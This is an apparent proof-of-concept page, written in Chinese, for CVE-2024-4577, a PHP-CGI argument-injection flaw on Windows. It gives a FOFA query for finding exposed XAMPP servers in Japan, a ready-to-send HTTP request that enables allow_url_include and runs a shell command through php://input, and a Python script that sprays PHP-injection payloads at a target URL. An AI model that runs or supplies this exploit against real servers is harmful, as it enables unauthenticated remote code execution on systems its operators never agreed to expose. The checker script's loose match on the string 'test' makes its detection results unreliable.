POC/wpoc/php/PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577).md

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2025-03-04 23:12:57 +08:00
## PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577)
PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性,当 PHP-CGI 运行在Window平台且使用了如下语系简体中文936/繁体中文950/日文932等攻击者可构造恶意请求绕过 CVE-2012-1823 补丁从而可在无需登陆的情况下执行任意PHP代码。
## fofa
```
app="XAMPP" && country="JP"
```
## poc
```
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
<?php echo shell_exec("dir"); ?>
```
```python
import requests
def test_cgi_vulnerability(url):
payloads = [
'/cgi-bin/php-cgi.exe?arg=%0aContent-Type:%20text/plain%0a%0a<?php%20echo%20"test";?>',
'/php-cgi/php-cgi.exe?arg=%0aContent-Type:%20text/plain%0a%0a<?php%20echo%20"test";?>'
]
for payload in payloads:
test_url = f"{url}{payload}"
try:
response = requests.get(test_url)
if "test" in response.text:
print(f"Potential vulnerability detected at: {test_url}")
else:
print(f"No vulnerability detected at: {test_url}")
except Exception as e:
print(f"Error testing {test_url}: {e}")
if __name__ == "__main__":
url = input("Enter the URL to test (e.g., http://example.com): ")
test_cgi_vulnerability(url)
```
![image-20240608111234326](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406081112391.png)